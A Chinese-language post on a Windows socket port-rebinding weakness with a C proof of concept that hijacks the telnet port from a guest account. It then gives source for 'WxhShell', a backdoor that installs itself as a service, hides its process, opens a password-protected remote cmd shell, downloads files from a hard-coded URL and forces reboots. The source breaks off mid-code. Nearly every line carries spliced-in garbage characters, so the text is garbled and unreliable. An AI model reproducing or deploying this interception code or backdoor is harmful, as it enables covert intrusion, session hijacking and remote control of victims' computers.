在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ogN/zIU+VA s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
rBBA`Ut@F ?Y6MC:l< saddr.sin_family = AF_INET;
4%l
@ emZ^d/A saddr.sin_addr.s_addr = htonl(INADDR_ANY);
En@] xvE `x;8,7W;B bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
1d49z9F @8zp(1. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
.54E*V1 C+{du^c$ 这意味着什么?意味着可以进行如下的攻击:
*We.?"X']. GKPC 9;{W 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qGndh e_C9VNP 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
]TTX<R
ZLr 0,)Ao8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_ED,DM J&,N1B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}@IRReQ At5:X*vD 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
z4l
O T';<;6J** 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%(4G[R[ ~$g$31/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
tPO\ e] .E!p #include
}5n((7@X #include
<0[{Tn #include
<:#O*Y{ #include
n^QOGT.s6` DWORD WINAPI ClientThread(LPVOID lpParam);
bDdJh}Vz int main()
@\gTi;u/x {
/EY^u i WORD wVersionRequested;
f'/@h Na3 DWORD ret;
s>sIji WSADATA wsaData;
2N]u!S ;d BOOL val;
i4TU}.h8 SOCKADDR_IN saddr;
m35Blg34 SOCKADDR_IN scaddr;
5ug?'TOj' int err;
Q(lj&!?1k SOCKET s;
MFHPh8P SOCKET sc;
UA4Q9<>~ int caddsize;
z-G|EAON"/ HANDLE mt;
&y1' J DWORD tid;
jE)&`yZ5 wVersionRequested = MAKEWORD( 2, 2 );
HgG-r&r!2 err = WSAStartup( wVersionRequested, &wsaData );
aubmA0w if ( err != 0 ) {
<}pwFl8C) printf("error!WSAStartup failed!\n");
%
'>S9Ja3 return -1;
G~ZDXQ>5CP }
7I;Give{ saddr.sin_family = AF_INET;
H)g:< #8;|_RU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
{8M=[4_`l oF/5mh__(K saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9%\<x saddr.sin_port = htons(23);
]d"4G7mu`l if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
RVN"lDGA {
2,Y8ML< printf("error!socket failed!\n");
N"|^AF return -1;
`Rj<qz^7 }
mi|O)6>8n val = TRUE;
9GS<d.#Nvc //SO_REUSEADDR选项就是可以实现端口重绑定的
Cna@3)_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
gF%lwq {
L1u
printf("error!setsockopt failed!\n");
Auhw(b>}TW return -1;
lo:]r.lX{ }
Du>dTi~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
yWIM,2x} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
8WWRKP1V //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
g#ZR,q 'l\V{0;mp if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`gqBJi {
5EIhCbA ret=GetLastError();
ErF;5ec printf("error!bind failed!\n");
`>RJ*_aKEI return -1;
<\x/Y$jm0n }
76[aOC2Ad listen(s,2);
U{D ?1tF while(1)
dQ^>,( {
Uq)|]a&e caddsize = sizeof(scaddr);
CAY^ `K! //接受连接请求
c1wM " sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Kzxzz6R? if(sc!=INVALID_SOCKET)
/ /qTMxn {
=mCUuY# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
j' -akXo< if(mt==NULL)
tklU
zv {
zdn e2 printf("Thread Creat Failed!\n");
0TSj]{[ break;
r&"}zyL }
.hgc1 }
wd*i~A3+? CloseHandle(mt);
ZeK*MPxQ }
oUZwZ_yKW closesocket(s);
) 0$7{3 WSACleanup();
,oDZ:";
return 0;
g'Ft5fQ"o/ }
}Evy fc#D DWORD WINAPI ClientThread(LPVOID lpParam)
fl~k')s {
V~5vVY_HG& SOCKET ss = (SOCKET)lpParam;
#e&j]Q$Eh SOCKET sc;
/woa[7Xe unsigned char buf[4096];
\~xsBPX+x SOCKADDR_IN saddr;
p<'mc|hGq long num;
H's67E/>* DWORD val;
-]5dD VSO DWORD ret;
8x'rNb //如果是隐藏端口应用的话,可以在此处加一些判断
D>c%5h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=(*Eh=Pw saddr.sin_family = AF_INET;
_h_;nS.Y saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2Iz@lrO6 saddr.sin_port = htons(23);
T~ Jl{(s9) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`a:@[0r0U {
Y,WcHE printf("error!socket failed!\n");
x{ ~-YzWho return -1;
5gI@~h S }
*P:`{ZV7=W val = 100;
[x!T<jJ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,{itnKJC {
.)})8csl.d ret = GetLastError();
j]J2,J return -1;
8NeP7.U<w }
65ijzZL; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(Tn*;Xjq {
0"u*K n ret = GetLastError();
qChS} Q return -1;
J~ v<Z/gm }
4'+/R%jk" if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_@sqCf%| {
OjMDxG
w printf("error!socket connect failed!\n");
A`#v- closesocket(sc);
/lttJJDU closesocket(ss);
8c+i+gp! return -1;
~n]:f7?I }
t> &$_CSWK while(1)
xQ1&j,R] {
@)VJ,Ql$Y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
N3vk<sr@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
' n4zFj+S //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
DXKk1u?Tq num = recv(ss,buf,4096,0);
n5S$Dl if(num>0)
|Y/iq9l
send(sc,buf,num,0);
#zrD i else if(num==0)
C_O7 break;
Ca+d
?IS num = recv(sc,buf,4096,0);
T>n,@?#K if(num>0)
1$@k@*u\ send(ss,buf,num,0);
j/ 9FiuK else if(num==0)
3KB)\nF#% break;
+ qpD>5# }
~ ;)@a closesocket(ss);
$g#X9/+< closesocket(sc);
sPkT>q return 0 ;
,2H5CFX/ }
kf>'AbN !bH-(K{S6 `U p<; ==========================================================
sXoBw.^Ir_ 2c0eh-Gf 下边附上一个代码,,WXhSHELL
_}jj>+zA` W@"M/<r@/ ==========================================================
yuFuYo&[?v 1P8$z:|~ #include "stdafx.h"
mg'-]>$ $] 3zWY%(8t4? #include <stdio.h>
K+T`'J4 #include <string.h>
LdWeI #include <windows.h>
/;HytFP #include <winsock2.h>
w'M0Rd] #include <winsvc.h>
aH"tSgi #include <urlmon.h>
|V!A!tB ,dBtj8= #pragma comment (lib, "Ws2_32.lib")
b^Rg_,s #pragma comment (lib, "urlmon.lib")
!6<2JNf ^N Et{]x #define MAX_USER 100 // 最大客户端连接数
%<1fj#X8 #define BUF_SOCK 200 // sock buffer
* +A!12s@ #define KEY_BUFF 255 // 输入 buffer
vU{ZB^+&6o %l:%c #define REBOOT 0 // 重启
v~ uwQ&AH #define SHUTDOWN 1 // 关机
JEJ]'3 !S(jT?'w #define DEF_PORT 5000 // 监听端口
Bu!Gy8\ D
?,P\cp #define REG_LEN 16 // 注册表键长度
|r0j>F #define SVC_LEN 80 // NT服务名长度
/^/'9}7 webT // 从dll定义API
4Iy\
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Zpu>T2Tp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ml?+JbLg0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
V7rcnk# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
@gxO%@@ V3@^bc! // wxhshell配置信息
i>)Whr'e8 struct WSCFG {
D\*raQ`n int ws_port; // 监听端口
c$uV8_ V char ws_passstr[REG_LEN]; // 口令
%K ]u" int ws_autoins; // 安装标记, 1=yes 0=no
8(Z*Vz uu char ws_regname[REG_LEN]; // 注册表键名
IHxX:a/iv char ws_svcname[REG_LEN]; // 服务名
9SAyU%mS: char ws_svcdisp[SVC_LEN]; // 服务显示名
Pq7YJ"Z?: char ws_svcdesc[SVC_LEN]; // 服务描述信息
LgUaX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!\|&E>Gy int ws_downexe; // 下载执行标记, 1=yes 0=no
|":^3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
b.Y[:R_9& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=9pFb!KX ;PS[VdV };
uY
"88| .6vQWt7@ // default Wxhshell configuration
PFEi=}Y@(( struct WSCFG wscfg={DEF_PORT,
lX5(KUN "xuhuanlingzhe",
83TN6gW 1,
qQpR gzw "Wxhshell",
$)7-wCl</ "Wxhshell",
p(0!TCBs "WxhShell Service",
(''`Ce "Wrsky Windows CmdShell Service",
yRieGf1'SD "Please Input Your Password: ",
B*D`KA 1,
,C=Fgxw( "
http://www.wrsky.com/wxhshell.exe",
-QZped;?* "Wxhshell.exe"
4s"8e]q= };
3j.f3~" h ?p^DPo // 消息定义模块
l'3NiIX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
2@e<II2ha8 char *msg_ws_prompt="\n\r? for help\n\r#>";
Itz_;+I.Mp char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
NaVZ) char *msg_ws_ext="\n\rExit.";
L}:u9$w char *msg_ws_end="\n\rQuit.";
Yj0Ss{Ep char *msg_ws_boot="\n\rReboot...";
H3a}`3}U char *msg_ws_poff="\n\rShutdown...";
{Ja#pt char *msg_ws_down="\n\rSave to ";
d(v )SS %X[|7D- char *msg_ws_err="\n\rErr!";
_Dk;U*2 char *msg_ws_ok="\n\rOK!";
zD) 2af b,318R8+G char ExeFile[MAX_PATH];
M}%0=VCY7 int nUser = 0;
6"A|)fz HANDLE handles[MAX_USER];
1YM04*H int OsIsNt;
GhpH7%s /ebYk-c SERVICE_STATUS serviceStatus;
YToRG7X# SERVICE_STATUS_HANDLE hServiceStatusHandle;
vZXyc* y@_4OkR@ // 函数声明
YO-O-NEP int Install(void);
39m# int Uninstall(void);
bR;H@Fdg? int DownloadFile(char *sURL, SOCKET wsh);
#;^.&2Lt int Boot(int flag);
PeE'#&wn void HideProc(void);
sKHUf1 int GetOsVer(void);
Ko -<4wu int Wxhshell(SOCKET wsl);
yiI&>J)) void TalkWithClient(void *cs);
qvYw[D#. int CmdShell(SOCKET sock);
gCwg ;c- int StartFromService(void);
Z,u:g c+* int StartWxhshell(LPSTR lpCmdLine);
M>T#MDK\( 2I>C A[qp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
%W`pTvF VOID WINAPI NTServiceHandler( DWORD fdwControl );
x%x[5.CT 40q8,M // 数据结构和表定义
`^w5/v# SERVICE_TABLE_ENTRY DispatchTable[] =
NO9Jre {
2V F|T'h {wscfg.ws_svcname, NTServiceMain},
Iqo4INGIi {NULL, NULL}
<ygkK5#q };
k (
R -M[5K/[ // 自我安装
k`TEA?RfQ int Install(void)
yl3iU:+V {
t0?BU~f char svExeFile[MAX_PATH];
U15Hq*8Z HKEY key;
0 ]NsT0M strcpy(svExeFile,ExeFile);
UGR5ILf l<qxr.X // 如果是win9x系统,修改注册表设为自启动
]p#Zdm1EL if(!OsIsNt) {
KN+*_L- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
TXy*- <#vR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5(DCq(\P* RegCloseKey(key);
R8HA X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*(r85lEou) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p]pFZ";70 RegCloseKey(key);
m0\(a_0V return 0;
>:wk.<Z- }
9`c :sop }
^. Pn)J }
]HCt%5 else {
]A'e+RD4k nre8 F // 如果是NT以上系统,安装为系统服务
Grw_SVa^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
][qZOIk@ if (schSCManager!=0)
&|9?B!,` {
1` 9/[2z SC_HANDLE schService = CreateService
rVf`wJ6b (
$1UN?(r schSCManager,
R\X=Vg wscfg.ws_svcname,
Dy8Go4 wscfg.ws_svcdisp,
Z"E+ TX SERVICE_ALL_ACCESS,
2Jj`7VH> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
N*o+m~:y SERVICE_AUTO_START,
&O!d!Pf SERVICE_ERROR_NORMAL,
u,'c:RMV svExeFile,
flmcY7ZV NULL,
TYLf..i< NULL,
orL7y&w(v: NULL,
wBmbn=>#S NULL,
$]%k
<|X NULL
:!aFfb[" );
g\6(ezUF* if (schService!=0)
*!nS4[d {
[vIO CloseServiceHandle(schService);
4NbC V)Dm CloseServiceHandle(schSCManager);
oXz:zoNQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
=zbrXtp, strcat(svExeFile,wscfg.ws_svcname);
7f
7*id if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
U(i2j)|^I3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
BKJW\gS2 RegCloseKey(key);
2U#OBvNU return 0;
@c.QrKSaD }
,sJ{2,]~ }
tc#
rL CloseServiceHandle(schSCManager);
guf+AVPno }
@o>2:D1G }
$Y ]*v)}X qnT:x{o return 1;
1M<'^(t3d }
@Yt[%tOF+ Lp{l&-uQ // 自我卸载
,',fO?Qv' int Uninstall(void)
4$y|z{[<
5 {
eQYW>z'%, HKEY key;
XFM6.ye /j.V0% if(!OsIsNt) {
?{^T&<18t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
."=Bx2 RegDeleteValue(key,wscfg.ws_regname);
BfhOe~+i RegCloseKey(key);
1FY^_dvH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F v(zql RegDeleteValue(key,wscfg.ws_regname);
qKWkgackP RegCloseKey(key);
{zg}KiNDZd return 0;
;,9|;)U?u }
0WYVt"|;}c }
_YbHnb }
N(F9vZOs else {
VpJ2Qpd= GL
(YC-{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
II[qWs>RG[ if (schSCManager!=0)
YJr@4!j* {
dyu~T{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
BDcl1f T if (schService!=0)
'JRkS'ay {
{L.0jAwB if(DeleteService(schService)!=0) {
HW{+THNj CloseServiceHandle(schService);
BeP0lZ CloseServiceHandle(schSCManager);
!f"@pR6 return 0;
o<%Sr* }
R#Ss_y CloseServiceHandle(schService);
F5EKWP }
b/2t@VlL CloseServiceHandle(schSCManager);
=FdS'<GM }
S* <:He&1 }
oBIKtS*L ~9x$tb x- return 1;
6h;$^3x$ }
UG1^G07s u*PN1E // 从指定url下载文件
=1LrU$\ int DownloadFile(char *sURL, SOCKET wsh)
F#W'>WBU {
&o)j@5Y? HRESULT hr;
g3"`b)M char seps[]= "/";
|-Y,:sY: char *token;
9g "?`_ char *file;
9n44 *sZ char myURL[MAX_PATH];
`_z8DA}E char myFILE[MAX_PATH];
Riu0;U( \ GndF!#?N( strcpy(myURL,sURL);
yPuT%H&i token=strtok(myURL,seps);
{wCQ#V while(token!=NULL)
N<O^%!bu R {
?l
bK;Kv file=token;
?2DYz"/') token=strtok(NULL,seps);
=[vT=sHz7 }
s{hJ"lv: "TG}aS GetCurrentDirectory(MAX_PATH,myFILE);
.pG_j] strcat(myFILE, "\\");
6(X(f;MEl strcat(myFILE, file);
iQs(Dh=* send(wsh,myFILE,strlen(myFILE),0);
3kQky send(wsh,"...",3,0);
aq[kKS` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
c1!h;(& if(hr==S_OK)
D1x~d<j return 0;
i!sKL%z} else
JAc-5e4 return 1;
)1&[uE#L /ey}#SHm, }
Z*x Q"+\ [
98)7 // 系统电源模块
T[&1cth int Boot(int flag)
ZShRE"` {
JKXs/r;: HANDLE hToken;
YDdmT7Ow TOKEN_PRIVILEGES tkp;
jSpmE n:Ka@ if(OsIsNt) {
RE7 I" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
D+#QQH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
M)(
5S1ndq tkp.PrivilegeCount = 1;
lP\7=9rh^x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
jt=mK,% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
`A3"*,|z if(flag==REBOOT) {
PzNk: O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
NKh"x&R return 0;
E<D45C{DP }
>t 3%-Kc else {
0x[v)k9"0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Rw=gg>\ return 0;
fg^$F9@ }
~Wf&$p<| }
VuPa'2 else {
##EMJi if(flag==REBOOT) {
F@)wi0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*oKc4S+ return 0;
b~WiE? }
bK<'J=#1 else {
Mb"i}Yt{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
J*5 )g return 0;
m ['UV2 }
\Om.pOz }
K;k&w; j q0SYV return 1;
$0+AR) }
{D 9m//x x?y)a9&Hm // win9x进程隐藏模块
hL+)XJu^J void HideProc(void)
)Gh"(]-< {
v&(PM{3o 71Q-_Hi HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
DUFfk6#X} if ( hKernel != NULL )
{OXKXRCa {
S[n;u-U pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;r B2Q H] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
U4w^eWzP FreeLibrary(hKernel);
wG ua"@IE }
4w<U%57 0 P3^#j return;
s["8QCd"r }
4l <%Q2 d
*!) wt // 获取操作系统版本
pIXbr($ int GetOsVer(void)
")q {
Cd?aC OSVERSIONINFO winfo;
>WVos 4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
< HlS0J9 GetVersionEx(&winfo);
lc?9B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7y""#-}V[r return 1;
N \1
EWi else
5
<X.1T1 return 0;
k2(B{x}L }
;G|5kvE> Po~{Mpe // 客户端句柄模块
,9SBGxK5` int Wxhshell(SOCKET wsl)
w@ALl#z;} {
IlJ!jq SOCKET wsh;
p2cwW/^V struct sockaddr_in client;
(&H-v'a}3 DWORD myID;
H$bu*o-Z 8E`A`z while(nUser<MAX_USER)
UFr
]$m& {
qRlS^=# int nSize=sizeof(client);
0<d9al|J wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
e%Rg,dX if(wsh==INVALID_SOCKET) return 1;
OuWG.Za ]q~_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
G6]W'Kk if(handles[nUser]==0)
pN|BtrN{ closesocket(wsh);
=4+Wx8ZeW else
f*)8bZDD nUser++;
>rJ9^rS }
l6]:Zcd0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Gi]R8?M W@Et return 0;
0eP7efy }
E}LYO: 4HG;v|Cp // 关闭 socket
XRARgWj void CloseIt(SOCKET wsh)
-9W)|toWb" {
9f1,E98w_ closesocket(wsh);
.K%1{`.| nUser--;
Wwo'pke
ExitThread(0);
*i3\`;^= }
xvn@zi j]Y`L?!Q // 客户端请求句柄
82d~>i%T void TalkWithClient(void *cs)
pbc<326X" {
T rK-XTev wyWe2d SOCKET wsh=(SOCKET)cs;
jiw5>RNt char pwd[SVC_LEN];
moz*=a char cmd[KEY_BUFF];
!(2rU @. char chr[1];
Ns
ezUk8' int i,j;
)zn`qaHK@e TC[(mf:8 while (nUser < MAX_USER) {
"Bn8WT2? nbd-f6F6 if(wscfg.ws_passstr) {
dA4DW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?D[9-K4Vn //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
nSR7$yS_ //ZeroMemory(pwd,KEY_BUFF);
9=RfGx i=0;
A:Y
([ while(i<SVC_LEN) {
XM?>#^nC?u P?WS=w*O0 // 设置超时
.t53+<A fd_set FdRead;
-(~OzRfYi struct timeval TimeOut;
&=ZVU\o: FD_ZERO(&FdRead);
dZMf5=tb FD_SET(wsh,&FdRead);
`hpX 97v TimeOut.tv_sec=8;
:xwyE(w TimeOut.tv_usec=0;
TjDDvXY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
yn`P:[v if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ZhvZe/ dC,a~`%O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
OQ*BPmS-
pwd
=chr[0]; ;YGCsLT<xt
if(chr[0]==0xd || chr[0]==0xa) { };/;L[,G
pwd=0; 1 >}x9D
break; 9Su4nt`i
} Sao4MkSz[]
i++; xOY
%14%Y
} A [c1E[
U=ek_FO
// 如果是非法用户,关闭 socket _EEOBaZ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ue8"_N
} -/w#f&Y+]8
Z(h.)$yH*=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]wxjd
l
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8GN_3pT
m.6O%jD
while(1) { f$y`tT %o
u2 a#qU5*
ZeroMemory(cmd,KEY_BUFF); 3bU(ea^e$
'r0kX||
// 自动支持客户端 telnet标准 gc6Zy|^V4`
j=0; :@~W$f\y
while(j<KEY_BUFF) { #Ch*a.tI@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B=d
:r
cmd[j]=chr[0]; -Z(='A
if(chr[0]==0xa || chr[0]==0xd) { (,`R >Dk
cmd[j]=0; L^E#"f
break; d!P3<:+R[
} {VmJVO]S
j++; 93[&'
} "ZYdJHM
3QF/{$65!
// 下载文件 !E@4^A80\W
if(strstr(cmd,"http://")) { h<0&|s*a)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); oE.59dx
if(DownloadFile(cmd,wsh)) ABaK60.O[O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BB9+d"Sq
else S*3*Q l*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rgw@
} 7cQFH@SC
else { wl.a|~-
k}&7!G@T
switch(cmd[0]) { VV+gPC
;@<Rh^g]
// 帮助 7.y35y
case '?': { /$'|`jKsB
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T
B(K&3_D
break; UbDpSfub
} {A`J0ol<B9
// 安装 \=&F\EV
case 'i': { UFzC8
if(Install()) roM!%hb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ia#8 ^z
else <N(r-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <8iu :nR
break; 7R7e3p,K
} #V$h?`qhwr
// 卸载 3C
gmZ7[
case 'r': { OK" fFv
if(Uninstall()) rbl7-xhC7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O|AY2QH\
else =&t]R?
F
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kyH0J[/n
break;
9)*218.
} Am@:<J
// 显示 wxhshell 所在路径 d+WNg2#v
case 'p': { [x{Ai(
/T^
char svExeFile[MAX_PATH]; g#%Egb1
strcpy(svExeFile,"\n\r"); 4DgH/Yo
strcat(svExeFile,ExeFile); ]%2y`Jrl^W
send(wsh,svExeFile,strlen(svExeFile),0); 6]|-%
break; z'&tmje[?
} U1;&G
// 重启 _;mA(j
case 'b': { F*-+5nJ&@
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b6NGhkr'\
if(Boot(REBOOT)) Y[0mTL4IO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0[ZB ^
else { puAjAvIax
closesocket(wsh); Oq*;GR(Q
ExitThread(0); Oy_%U*
} | Di7,$c
break; y>>)Yo&|
} A5E^1j}h@
// 关机 P%aNbMg
case 'd': { ?*^HZ~O1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 37b6w6{D
if(Boot(SHUTDOWN)) 5t,X;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i`}!<{k
else { WBWIHv{j
closesocket(wsh); 1hY%ZsjC
ExitThread(0); K=1prv2
} @|:yK|6O
break; dUL*~%2I
} '{w[).c.
// 获取shell k=4C"
case 's': { l5nm.i<M
CmdShell(wsh); vA2>&YDFX
closesocket(wsh); q 7-ZPX
ExitThread(0); T3NH8nH9"z
break; w<u@L
} ?G[=pY:=
// 退出 1i&|}"
case 'x': { to;^'#B
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <+UJgB
A-
CloseIt(wsh); H8kB.D[7Q
break; O%f{\Fr
} vNHvuwK
// 离开 3el/,v|qj
case 'q': { sIMN""@Y^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); hkOFPt&
closesocket(wsh); ZypK''&oc
WSACleanup(); \M;cF"e-S
exit(1); qpjiQ,\:b
break; \]0#jI/:
} C;?<WtH
} \dbaY: (
} d;nk>6<|
RI<&cgWn+<
// 提示信息 R*?!xDJ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Y%<$IFG
} rZ&li/Z
} WRrg5&._q
hC4
M}(XM
return; nRyx2\Py+
} y eam-8
,Jx.Kj.,
// shell模块句柄 Pk;1q?tGw
int CmdShell(SOCKET sock) w"O{@2B3:H
{ ^{YK'60
STARTUPINFO si; 1vYa&!
ZeroMemory(&si,sizeof(si)); N cp
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yx&d\/9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a ?\:,5=
PROCESS_INFORMATION ProcessInfo; H43d[@h
char cmdline[]="cmd"; Z<*"sFpAO
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /9,y+"0SQz
return 0; gnYo/q=K
} 2UIZ<#|D>s
fWf't2H&
// 自身启动模式 \]g51U!'
int StartFromService(void) "ZL_
{ +,Or^pO=
typedef struct dsOt(yNo
{ ?zf3AZ9
DWORD ExitStatus; Z_a@,k:+[
